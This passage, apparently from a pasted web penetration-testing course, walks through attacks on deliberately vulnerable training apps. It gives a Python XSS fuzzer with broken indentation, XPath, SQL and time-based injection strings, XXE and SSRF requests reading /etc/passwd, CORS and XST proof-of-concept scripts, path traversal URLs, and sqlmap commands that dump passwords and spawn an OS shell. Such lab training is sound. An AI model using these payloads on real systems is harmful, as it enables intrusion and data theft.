  4549. By checking and analyzing the responses, we can identify the possible attacks. For example,if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection.
  4550.  
  4551.  
  4552. ###############################################
  4553. # Python Penetration Testing — XSS Web Attack #
  4554. ###############################################
  4555.  
  4556.  
  4557. Types of XSS Attack
  4558.  
  4559.  
  4560. The attack can be classified into the following major categories:
  4561.  
  4562. -Persistent or stored XSS
  4563. -Non-persistent or reflected XSS
  4564.  
  4565.  
  4566.  
  4567. Same as SQLi, XSS web attacks can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize:
  4568.  
  4569. To begin with, let us import the mechanize module.
  4570.  
  4571. ------------------------
  4572. import mechanize
  4573. -----------------------
  4574.  
  4575.  
  4576. Now, provide the name of the URL for obtaining the response after submitting the form.
  4577.  
  4578. ----------------------------------
  4579. url = input("Enter the full url")
  4580. attack_no = 1
  4581. ----------------------------------
  4582.  
  4583. We need to read the attack vectors from the file.
  4584.  
  4585. ---------------------------------------
  4586. with open ('vectors_XSS.txt') as x:
  4587. --------------------------------------
  4588.  
  4589. Now we will send request with each arrack vector
  4590.  
  4591. -------------------------
  4592. for line in x:
  4593. browser.open(url)
  4594. browser.select_form(nr=0)
  4595. browser["id"] = line
  4596. res = browser.submit()
  4597. content = res.read()
  4598.  
  4599. ------------------------
  4600.  
  4601. The following line of code will check the printed attack vector.
  4602.  
  4603. -----------------------------
  4604. if content.find(line) > 0:
  4605. print("Possible XSS")
  4606.  
  4607. -----------------------------
  4608.  
  4609. The following line of code will write the response to output file.
  4610.  
  4611.  
  4612. -----------------------------------------------------------
  4613. output = open('response/'+str(attack_no)+'.txt','w')
  4614. output.write(content)
  4615. output.close()
  4616. print attack_no
  4617. attack_no += 1
  4618. ----------------------------------------------------------
  4619.  
  4620.  
  4621. *** Full example code: ***
  4622.  
  4623. ------------------------------------------------------------------
  4624. import mechanize
  4625.  
  4626. url = input("Enter the full url")
  4627. attack_no = 1
  4628.  
  4629. with open ('vectors_XSS.txt') as x:
  4630. for line in x:
  4631. browser.open(url)
  4632. browser.select_form(nr=0)
  4633. browser["id"] = line
  4634. res = browser.submit()
  4635. content = res.read()
  4636.  
  4637. if content.find(line) > 0:
  4638. print("Possible XSS")
  4639.  
  4640. output = open('response/'+str(attack_no)+'.txt','w')
  4641. output.write(content)
  4642. output.close()
  4643. print attack_no
  4644. attack_no += 1
  4645. -----------------------------------------------------------------
  4646.  
  4647. XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we provided. If the attack vector is present in the response without any escape or validation,there is a high possibility of XSS attack.
  4648.  
  4649.  
  4650.  
  4651.  
  4652. ########################
  4653. ----------- ############### # Day 4: Web Services ############### -----------
  4654. ########################
  4655.  
  4656.  
  4657.  
  4658.  
  4659.  
  4660. #####################################################
  4661. # Damn Vulnerable Web Services (DVWS) – Walkthrough #
  4662. #####################################################
  4663. You can see the attack steps for Damn Vulnerable Web Services in the PDF below:
  4664. http://45.63.104.73/DamnVulnerableWebServices.pdf
  4665.  
  4666.  
  4667.  
  4668.  
  4669. Use Firefox to browse to the following location:
  4670. ---------------------------Type This-----------------------------------
  4671.  
  4672. http://dvws1.infosecaddicts.com/dvws1/
  4673. -----------------------------------------------------------------------
  4674.  
  4675. A really simple search page that is vulnerable should come up.
  4676.  
  4677.  
  4678.  
  4679. Setup or reset the database by going to http://dvws1.infosecaddicts.com/dvws1/instructions.php
  4680.  
  4681.  
  4682. All next steps should be done with using Burp Suite.
  4683.  
  4684. ####################
  4685. # WSDL Enumeration #
  4686. ####################
  4687.  
  4688. Spider DVWS1 using Burp Suite and look for service.php
  4689.  
  4690. Use Firefox to browse to the following location:
  4691. ---------------------------Type This-----------------------------------------
  4692.  
  4693. http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/wsdlenum/service.php
  4694. -----------------------------------------------------------------------------
  4695.  
  4696.  
  4697. Requests processed by SOAP service include check_user_information, owasp_apitop10, population and return_price
  4698.  
  4699.  
  4700. ###################
  4701. # XPATH Injection #
  4702. ###################
  4703.  
  4704. Use Firefox to browse to the following location:
  4705. ---------------------------Type This-----------------------------------------
  4706.  
  4707. http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xpath/xpath.php
  4708. -----------------------------------------------------------------------------
  4709.  
  4710.  
  4711.  
  4712. User Login:
  4713.  
  4714. ---------------------------Type This-----------------------------------
  4715.  
  4716. 1' or '1'='1
  4717. -----------------------------------------------------------------------
  4718.  
  4719. User Password:
  4720.  
  4721. ---------------------------Type This-----------------------------------
  4722.  
  4723. 1' or '1'='1
  4724. -----------------------------------------------------------------------
  4725.  
  4726. Click Submit
  4727.  
  4728.  
  4729. ######################################################
  4730. # Command Injection (This will only work on Windows) #
  4731. ######################################################
  4732.  
  4733. Original Request
  4734.  
  4735. Use Firefox to browse to the following location:
  4736. ---------------------------Type This-----------------------------------------
  4737.  
  4738. http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/cmdi/client.php
  4739. -----------------------------------------------------------------------------
  4740.  
  4741.  
  4742. parameter value of name is "find" by default
  4743.  
  4744.  
  4745. Edited Request
  4746. change the parameter value of name from "find" to "dir"
  4747.  
  4748. ############################
  4749. # Cross Site Tracing (XST) #
  4750. ############################
  4751.  
  4752. Hint of "The NuSOAP Library service is vulnerable to a Cross-site scripting flaw" is given by DVWS. Exploit is published at exploit DB (https://www.exploit-db.com/exploits/34565/)
  4753.  
  4754. Note: We did the modification on the source code at \dvws\vulnerabilities\xst\xst.php due to improper creation of cookie. The following snippet are moved to the beginning part of the xst.php:
  4755.  
  4756. As what mentioned by DVWS, the vulnerable page is /dvws/vulnerabilities/wsdlenum/service.php/
  4757.  
  4758. The payload we used to perform XST as below:
  4759.  
  4760. <ScrIpt type='text/javascript'>
  4761. var req = new XMLHttpRequest();
  4762. req.open('GET', 'http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php',false);
  4763. req.send();
  4764. result=req.responseText;
  4765. alert(result);
  4766. </scRipT>
  4767.  
  4768. URL:
  4769.  
  4770. Use Firefox to browse to the following location:
  4771. ---------------------------Type This---------------------------------------------------------------------------------------------------------------------------------
  4772.  
  4773. http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/wsdlenum/service.php/%3cScrIpt%20type='text/javascript'%3evar%20req%20=%20new%20XMLHttpRequest();req.open('GET',%20'http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php',false);req.send();result=req.responseText;alert(result);%3c/scRipT%3e
  4774.  
  4775. ---------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4776.  
  4777. Amend GET method to TRACE method
  4778.  
  4779.  
  4780.  
  4781. Cookie information disclosed
  4782.  
  4783.  
  4784. To understand better with XST, please read the article Penetration Testing with OWASP Top 10 - 2017 A7 Cross-Site Scripting (XSS).
  4785.  
  4786. ##########################
  4787. # REST API SQL Injection #
  4788. ##########################
  4789.  
  4790. Use Firefox to browse to the following location:
  4791.  
  4792. ---------------------------Type This-------------------------------------------------
  4793. http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/
  4794. -------------------------------------------------------------------------------------
  4795.  
  4796. ---------------------------Type This----------
  4797. 2 or 1=1
  4798. ---------------------------------------------
  4799.  
  4800.  
  4801. Use Firefox to browse to the following location:
  4802.  
  4803. ---------------------------Type This-------------------------------------------------
  4804. http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/2%20or%201=1
  4805. -------------------------------------------------------------------------------------
  4806.  
  4807. Extract Information
  4808.  
  4809. ---------------------------Type This----------
  4810. 2 UNION SELECT 1,2
  4811.  
  4812. 2 UNION SELECT database(),@@datadir
  4813. ----------------------------------------------
  4814.  
  4815. Use Firefox to browse to the following location:
  4816.  
  4817. ---------------------------Type This------------------------------------------------------
  4818. http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/2 UNION SELECT 1,2
  4819. ------------------------------------------------------------------------------------------
  4820.  
  4821. Use Firefox to browse to the following location:
  4822.  
  4823. ---------------------------Type This-----------------------------------------------------------------------
  4824. http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/2 UNION SELECT database(),@@datadir
  4825. -----------------------------------------------------------------------------------------------------------
  4826.  
  4827. Extract Table Name
  4828.  
  4829. 2 union select group_concat(table_name),database() from information_schema.tables where table_schema = 'dvws'--
  4830.  
  4831. Use Firefox to browse to the following location:
  4832.  
  4833. ---------------------------Type This---------------------------------------------------------------------------------------------------------------------------------------------------
  4834. http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/2 union select group_concat(table_name),database() from information_schema.tables where table_schema = 'dvws'--
  4835. ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4836.  
  4837. Extract Column Name
  4838.  
  4839. 2 union select group_concat(column_name),database() from information_schema.columns where table_schema='dvws' and table_name
  4840.  
  4841.  
  4842. Use Firefox to browse to the following location:
  4843.  
  4844. ---------------------------Type This---------------------------------------------------------------------------------------------------------------------------------------------------
  4845. http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/2 union select group_concat(column_name),database() from information_schema.columns where table_schema='dvws' and table_name
  4846. ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4847.  
  4848.  
  4849. Dump Data From Extracted Table and Column Names
  4850.  
  4851.  
  4852. 2 union select id, secret from users--
  4853.  
  4854.  
  4855. Use Firefox to browse to the following location:
  4856.  
  4857. ---------------------------Type This---------------------------------------------------------------------------------------------------------------------------------------------------
  4858. http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/2 union select id, secret from users--
  4859. ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4860.  
  4861.  
  4862. To understand better with SQL Injection, please read the article Penetration Testing with OWASP Top 10 - 2017 A1 Injection.
  4863.  
  4864.  
  4865. #########################
  4866. # XML External Entity 2 #
  4867. #########################
  4868.  
  4869. Intercept request in Burp
  4870.  
  4871. Use Firefox to browse to the following location:
  4872.  
  4873. ---------------------------Type This------------------------
  4874.  
  4875. https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xxe2/
  4876. ------------------------------------------------------------
  4877.  
  4878. In POST request to https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xxe2/server.php in Burp add this:
  4879.  
  4880. <!DOCTYPE uservalue [
  4881. <!ENTITY systemEntity SYSTEM "file:///etc/passwd" >
  4882. ]>
  4883.  
  4884. <uservalue>
  4885. <value>&systemEntity;</value>
  4886. </uservalue>
  4887.  
  4888. Forward request in Burp
  4889.  
  4890.  
  4891. Response will show content of /etc/passwd
  4892.  
  4893.  
  4894.  
  4895. ###############################################
  4896. # JSON Web Token (JWT) Secret Key Brute Force #
  4897. ###############################################
  4898.  
  4899.  
  4900. Use https://jwt.io/ to brute force secret key from https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/jwt/login_token.php
  4901.  
  4902.  
  4903.  
  4904. Correct secret key of 1234567890 found!
  4905.  
  4906.  
  4907. ########################################
  4908. # Cross-Origin Resource Sharing (CORS) #
  4909. ########################################
  4910.  
  4911. Use Firefox to browse to the following location:
  4912.  
  4913. ---------------------------Type This-----------------------------------
  4914.  
  4915. https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/cors/client.php
  4916. -----------------------------------------------------------------------
  4917.  
  4918. Check if arbitrary origin trusted in Burp request
  4919.  
  4920.  
  4921. Change Origin request header to "http://xyz.com" in Burp
  4922.  
  4923.  
  4924.  
  4925. Response shows the application allows access from any domain (origin http://xyz.com)
  4926.  
  4927.  
  4928.  
  4929. Response header Access-Control-Allow-Credentials: true indicates third-party sites may be able to carry out privileged actions and retrieve sensitive information.
  4930.  
  4931. Content of cors-poc.html
  4932.  
  4933. <html>
  4934. <head></head>
  4935. <body>
  4936. <div id="secret"></div>
  4937. <script>
  4938. var xhttp = new XMLHttpRequest();
  4939. xhttp.onreadystatechange = function() {
  4940. if (this.readyState == 4 && this.status == 200) {
  4941. document.getElementById("secret").innerHTML = this.responseText;
  4942. }
  4943. };
  4944. xhttp.open("POST", "https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/cors/server.php", true);
  4945. xhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
  4946. xhttp.send(JSON.stringify({"searchterm":"secretword:one"}));
  4947. </script>
  4948. </body>
  4949. </html>
  4950.  
  4951.  
  4952. Open cors-poc.html
  4953.  
  4954. Proof-of-concept to retrieve secret word
  4955.  
  4956. ###############################
  4957. # Server Side Request Forgery #
  4958. ###############################
  4959.  
  4960.  
  4961. Change in POST request:
  4962.  
  4963. POST /dvws1/vulnerabilities/ssrf/server.php HTTP/1.1
  4964. Host: dvws1.infosecaddicts.com
  4965. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
  4966. Accept: */*
  4967. Accept-Language: en-US,en;q=0.5
  4968. Accept-Encoding: gzip, deflate
  4969. Referer: https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/ssrf/
  4970. Content-Type: text/plain;charset=UTF-8
  4971. Content-Length: 201
  4972. Connection: close
  4973. Cookie: __cfduid=db125fc74e7eb982b99b18cb4f00f40b81563768114; _ga=GA1.2.1439955610.1563768117; _gid=GA1.2.128701207.1563768117; _gat=1
  4974.  
  4975. <?xml version="1.0" encoding="utf-8"?>
  4976. <methodCall>
  4977. <methodName>examples.stringecho</methodName>
  4978. <params>
  4979. <param>
  4980. <value><string>owasptop10.txt</string></value>
  4981. </param>
  4982. </params>
  4983. </methodCall>
  4984.  
  4985. owasptop10.txt into file:///etc/passwd
  4986.  
  4987.  
  4988. Request:
  4989.  
  4990. POST /dvws1/vulnerabilities/ssrf/server.php HTTP/1.1
  4991. Host: dvws1.infosecaddicts.com
  4992. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
  4993. Accept: */*
  4994. Accept-Language: en-US,en;q=0.5
  4995. Accept-Encoding: gzip, deflate
  4996. Referer: https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/ssrf/
  4997. Content-Type: text/plain;charset=UTF-8
  4998. Content-Length: 205
  4999. Connection: close
  5000. Cookie: __cfduid=db125fc74e7eb982b99b18cb4f00f40b81563768114; _ga=GA1.2.1439955610.1563768117; _gid=GA1.2.128701207.1563768117; _gat=1
  5001.  
  5002. <?xml version="1.0" encoding="utf-8"?>
  5003. <methodCall>
  5004. <methodName>examples.stringecho</methodName>
  5005. <params>
  5006. <param>
  5007. <value><string>file:///etc/passwd</string></value>
  5008. </param>
  5009. </params>
  5010. </methodCall>
  5011.  
  5012. ###########################
  5013. ----------- ############### # Day 5: Having some fun ############### -----------
  5014. ###########################
  5015.  
  5016. http://10.80.46.91/AcmeTrading/
  5017.  
  5018. In the search box enter:
  5019. '
  5020. <script>alert(123);</script>
  5021.  
  5022.  
  5023. OK, so you found a simple XSS on the homepage, but there is more to find.
  5024.  
  5025. Still in the search box in the top right of the homepage try this:
  5026. '
  5027.  
  5028. You'll see that inserting a single quote (') causes a RUNTIME Web.Config Configuration File error. This is a security measure.
  5029.  
  5030. So let's see if we can mess with it.
  5031.  
  5032. ############################
  5033. # Attacking the Search Box #
  5034. ############################
  5035.  
  5036. ' order by 100--
  5037. ' order by 50--
  5038. ' order by 25--
  5039. ' order by 12--
  5040. ' order by 6-- (got a valid page here)
  5041. ' order by 10--
  5042. ' order by 8--
  5043. ' order by 7--
  5044.  
  5045.  
  5046.  
  5047.  
  5048. ' union all select 1--
  5049. ' union all select 1,2--
  5050. ' union all select 1,2,3--
  5051. ' union all select 1,2,3,4--
  5052. ' union all select 1,2,3,4,5--
  5053. ' union all select 1,2,3,4,5,6--
  5054.  
  5055. Ok, so we figured out that the backend query has 6 columns.
  5056.  
  5057. (view source on this page)
  5058.  
  5059.  
  5060. cd sqlmap-dev/
  5061. python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" -b
  5062. python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" --current-user
  5063. python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" --dbs
  5064. python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" -D acmetrading --tables
  5065. python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" -D acmetrading --users --passwords
  5066. python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" --tables -v 3
  5067. python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" --file-read=c:\boot.ini
  5068. python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" --os-pwn --msf-path=/home/hca/toolz/metasploit/
  5069.  
  5070.  
  5071.  
  5072.  
  5073. #########################
  5074. # Attacking the Inquiry #
  5075. #########################
  5076. Joe McCray
  5077. 1234567890
  5078. joe@strategicsec.com') waitfor delay '00:00:10'--
  5079.  
  5080.  
  5081.  
  5082. #################################
  5083. # Attacking the Contact Us page #
  5084. #################################
  5085. Burp Suite (change the request to):
  5086. http://10.80.46.91/AcmeTrading/OpenPage.aspx?filename=../../../../boot.ini
  5087. http://10.80.46.91/AcmeTrading/OpenPage.aspx?filename=../../../../../../windows/win.ini (depending on the system this may or may not work)
  5088. http://10.80.46.91/AcmeTrading/OpenPage.aspx?filename=web.config
  5089.  
  5090.  
  5091. ###########################
  5092. # Attacking the Login Box #
  5093. ###########################
  5094. ' or 1=1 or ''='
  5095. anything
  5096.  
  5097.  
  5098. ###############################
  5099. # Post Authentication Attacks #
  5100. ###############################
  5101.  
  5102. Burp Suite: (notice 2 session IDs)
  5103.  
  5104. AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
  5105. IsAdmin=yes;
  5106. ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
  5107.  
  5108.  
  5109.  
  5110. Profile - Detail (tamper data)
  5111. Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
  5112. joe|set
  5113.  
  5114.  
  5115.  
  5116.  
  5117. joe' or 1=1 or ''='
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!